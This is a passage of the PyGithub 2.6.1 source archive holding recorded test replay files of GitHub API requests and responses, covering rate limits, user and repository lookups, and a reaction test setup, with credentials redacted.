{"resources":{"core":{"limit":5000,"used":96,"remaining":4904,"reset":1684195041},"search":{"limit":30,"used":0,"remaining":30,"reset":1684191622},"graphql":{"limit":5000,"used":0,"remaining":5000,"reset":1684195162},"integration_manifest":{"limit":5000,"used":0,"remaining":5000,"reset":1684195162},"source_import":{"limit":100,"used":0,"remaining":100,"reset":1684191622},"code_scanning_upload":{"limit":1000,"used":0,"remaining":1000,"reset":1684195162},"actions_runner_registration":{"limit":10000,"used":0,"remaining":10000,"reset":1684195162},"scim":{"limit":15000,"used":0,"remaining":15000,"reset":1684195162},"dependency_snapshots":{"limit":100,"used":0,"remaining":100,"reset":1684191622}},"rate":{"limit":5000,"used":96,"remaining":4904,"reset":1684195041}} https GET api.github.com None /users/yurinnick {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Mon, 15 May 2023 22:59:22 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"7015139231122fae10cfe49e68ed43f6bcc74d3f51c95af3fb2362d09dd6fbcc"'), ('Last-Modified', 'Mon, 15 May 2023 21:51:14 GMT'), ('github-authentication-token-expiration', '2023-06-14 15:09:46 -0700'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4903'), ('X-RateLimit-Reset', '1684195041'), ('X-RateLimit-Used', '97'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'B550:0DD9:769114:7A48FE:6462B94A')] {"login":"yurinnick","id":2941035,"node_id":"MDQ6VXNlcjI5NDEwMzU=","avatar_url":"https://avatars.githubusercontent.com/u/2941035?v=4","gravatar_id":"","url":"https://api.github.com/users/yurinnick","html_url":"https://github.com/yurinnick","followers_url":"https://api.github.com/users/yurinnick/followers","following_url":"https://api.github.com/users/yurinnick/following{/other_user}","gists_url":"https://api.github.com/users/yurinnick/gists{/gist_id}","starred_url":"https://api.github.com/users/yurinnick/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/yurinnick/subscriptions","organizations_url":"https://api.github.com/users/yurinnick/orgs","repos_url":"https://api.github.com/users/yurinnick/repos","events_url":"https://api.github.com/users/yurinnick/events{/privacy}","received_events_url":"https://api.github.com/users/yurinnick/received_events","type":"User","site_admin":false,"name":"Nikolay Yurin","company":"@facebook","blog":"","location":"San Francisco, USA","email":"github@yurinnick.dev","hireable":true,"bio":null,"twitter_username":null,"public_repos":71,"public_gists":16,"followers":13,"following":5,"created_at":"2012-12-01T21:56:46Z","updated_at":"2023-05-15T21:51:14Z"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/RateLimiting.testResetTime.txt0000755000175100001660000000431014756101563024110 0ustar00runnerdockerhttps GET api.github.com None /rate_limit {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Mon, 15 May 2023 22:59:22 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'no-cache'), ('github-authentication-token-expiration', '2023-06-14 15:09:46 -0700'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4903'), ('X-RateLimit-Reset', '1684195041'), ('X-RateLimit-Used', '97'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'AC80:35A0:8F99C17:9451DA6:6462B94A')] {"resources":{"core":{"limit":5000,"used":97,"remaining":4903,"reset":1684195041},"search":{"limit":30,"used":0,"remaining":30,"reset":1684191622},"graphql":{"limit":5000,"used":0,"remaining":5000,"reset":1684195162},"integration_manifest":{"limit":5000,"used":0,"remaining":5000,"reset":1684195162},"source_import":{"limit":100,"used":0,"remaining":100,"reset":1684191622},"code_scanning_upload":{"limit":1000,"used":0,"remaining":1000,"reset":1684195162},"actions_runner_registration":{"limit":10000,"used":0,"remaining":10000,"reset":1684195162},"scim":{"limit":15000,"used":0,"remaining":15000,"reset":1684195162},"dependency_snapshots":{"limit":100,"used":0,"remaining":100,"reset":1684191622}},"rate":{"limit":5000,"used":97,"remaining":4903,"reset":1684195041}} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/RawData.testCompletedObject.txt0000644000175100001660000000416614756101563024213 0ustar00runnerdockerhttps GET api.github.com None /users/jacquev6 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4988'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('vary', 'Accept, Authorization, Cookie'), ('content-length', '1464'), ('server', 'GitHub.com'), ('last-modified', 'Tue, 12 Mar 2013 22:13:32 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"1bb2632b6c4ebeb4ff568329490bfbe2"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Wed, 13 Mar 2013 13:13:30 GMT'), ('content-type', 'application/json; charset=utf-8')] {"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","name":"Vincent Jacques","company":"Criteo","blog":"http://vincent-jacques.net","location":"Paris, France","email":"vincent@vincent-jacques.net","hireable":false,"bio":"","public_repos":21,"followers":22,"following":38,"created_at":"2010-07-09T06:10:06Z","updated_at":"2013-03-12T22:13:32Z","public_gists":2,"total_private_repos":4,"owned_private_repos":4,"disk_usage":13812,"collaborators":1,"plan":{"name":"micro","space":614400,"collaborators":1,"private_repos":5},"private_gists":5} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/RawData.testNonCompletableObject.txt0000644000175100001660000000415414756101563025176 0ustar00runnerdockerhttps GET api.github.com None /user {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4987'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('vary', 'Accept, Authorization, Cookie'), ('content-length', '1464'), ('server', 'GitHub.com'), ('last-modified', 'Tue, 12 Mar 2013 22:13:32 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"1bb2632b6c4ebeb4ff568329490bfbe2"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Wed, 13 Mar 2013 13:13:31 GMT'), ('content-type', 'application/json; charset=utf-8')] {"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","name":"Vincent Jacques","company":"Criteo","blog":"http://vincent-jacques.net","location":"Paris, France","email":"vincent@vincent-jacques.net","hireable":false,"bio":"","public_repos":21,"followers":22,"following":38,"created_at":"2010-07-09T06:10:06Z","updated_at":"2013-03-12T22:13:32Z","public_gists":2,"total_private_repos":4,"owned_private_repos":4,"disk_usage":13812,"collaborators":1,"plan":{"name":"micro","space":614400,"collaborators":1,"private_repos":5},"private_gists":5} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/RawData.testNotYetCompletedObject.txt0000644000175100001660000002273314756101563025356 0ustar00runnerdockerhttps GET api.github.com None /user {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4986'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('vary', 'Accept, Authorization, Cookie'), ('content-length', '1464'), ('server', 'GitHub.com'), ('last-modified', 'Tue, 12 Mar 2013 22:13:32 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"1bb2632b6c4ebeb4ff568329490bfbe2"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Wed, 13 Mar 2013 13:13:31 GMT'), ('content-type', 'application/json; charset=utf-8')] {"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","name":"Vincent Jacques","company":"Criteo","blog":"http://vincent-jacques.net","location":"Paris, France","email":"vincent@vincent-jacques.net","hireable":false,"bio":"","public_repos":21,"followers":22,"following":38,"created_at":"2010-07-09T06:10:06Z","updated_at":"2013-03-12T22:13:32Z","public_gists":2,"total_private_repos":4,"owned_private_repos":4,"disk_usage":13812,"collaborators":1,"plan":{"name":"micro","space":614400,"collaborators":1,"private_repos":5},"private_gists":5} https GET api.github.com None /repos/jacquev6/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4985'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('vary', 'Accept, Authorization, Cookie'), ('content-length', '4656'), ('server', 'GitHub.com'), ('last-modified', 'Tue, 12 Mar 2013 22:13:32 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"1bb2632b6c4ebeb4ff568329490bfbe2"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Wed, 13 Mar 2013 13:13:31 GMT'), ('content-type', 'application/json; charset=utf-8')] {"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags{/tag}","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-03-12T22:13:32Z","pushed_at":"2013-03-12T09:25:23Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":416,"watchers_count":167,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":47,"mirror_url":null,"open_issues_count":13,"forks":47,"open_issues":13,"watchers":167,"master_branch":"master","default_branch":"master","permissions":{"admin":true,"push":true,"pull":true},"network_count":47} https GET api.github.com None /users/jacquev6 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4984'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('vary', 'Accept, Authorization, Cookie'), ('content-length', '1464'), ('server', 'GitHub.com'), ('last-modified', 'Tue, 12 Mar 2013 22:13:32 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"1bb2632b6c4ebeb4ff568329490bfbe2"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Wed, 13 Mar 2013 13:13:32 GMT'), ('content-type', 'application/json; charset=utf-8')] {"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","name":"Vincent Jacques","company":"Criteo","blog":"http://vincent-jacques.net","location":"Paris, France","email":"vincent@vincent-jacques.net","hireable":false,"bio":"","public_repos":21,"followers":22,"following":38,"created_at":"2010-07-09T06:10:06Z","updated_at":"2013-03-12T22:13:32Z","public_gists":2,"total_private_repos":4,"owned_private_repos":4,"disk_usage":13812,"collaborators":1,"plan":{"name":"micro","space":614400,"collaborators":1,"private_repos":5},"private_gists":5} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Reaction.setUp.txt0000644000175100001660000004056314756101563021572 0ustar00runnerdockerhttps GET api.github.com None /users/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('content-length', '1110'), ('x-runtime-rack', '0.039944'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('x-oauth-scopes', 'repo, user'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', ''), ('etag', '"a87fa0e9fc5123f79ac81a1e80b5077f"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('status', '200 OK'), ('x-ratelimit-remaining', '4993'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'DC8E:0DD5:E3ED8:236173:5A26037E'), ('last-modified', 'Sun, 19 Jun 2016 18:27:53 GMT'), ('date', 'Tue, 05 Dec 2017 02:25:03 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1512444081')] {"login":"PyGithub","id":11288996,"avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false,"name":null,"company":null,"blog":"","location":null,"email":null,"hireable":null,"bio":null,"public_repos":1,"public_gists":0,"followers":0,"following":0,"created_at":"2015-03-03T07:41:07Z","updated_at":"2016-06-19T18:27:53Z"} https GET api.github.com None /repos/PyGithub/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('content-length', '5792'), ('x-runtime-rack', '0.062624'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('x-oauth-scopes', 'repo, user'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', 'repo'), ('etag', '"bb722456f5a2a00b4ba0d0c07c7b53da"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('status', '200 OK'), ('x-ratelimit-remaining', '4992'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'DC8F:0DD5:E3F54:2362AB:5A26037F'), ('last-modified', 'Tue, 05 Dec 2017 01:55:21 GMT'), ('date', 'Tue, 05 Dec 2017 02:25:03 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1512444081')] {"id":3544490,"name":"PyGithub","full_name":"PyGithub/PyGithub","owner":{"login":"PyGithub","id":11288996,"avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2017-12-05T01:55:21Z","pushed_at":"2017-11-29T05:57:39Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"","size":12247,"stargazers_count":1532,"watchers_count":1532,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":true,"forks_count":537,"mirror_url":null,"archived":false,"open_issues_count":207,"license":{"key":"gpl-3.0","name":"GNU General Public License v3.0","spdx_id":"GPL-3.0","url":"https://api.github.com/licenses/gpl-3.0"},"forks":537,"open_issues":207,"watchers":1532,"default_branch":"master","permissions":{"admin":false,"push":false,"pull":true},"organization":{"login":"PyGithub","id":11288996,"avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"network_count":537,"subscribers_count":74} https GET api.github.com None /repos/PyGithub/PyGithub/issues/28 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('content-length', '5882'), ('x-runtime-rack', '0.087478'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('x-oauth-scopes', 'repo, user'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', 'repo'), ('etag', '"766493df833023dcca5250bca25c7ca5"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('status', '200 OK'), ('x-ratelimit-remaining', '4991'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), 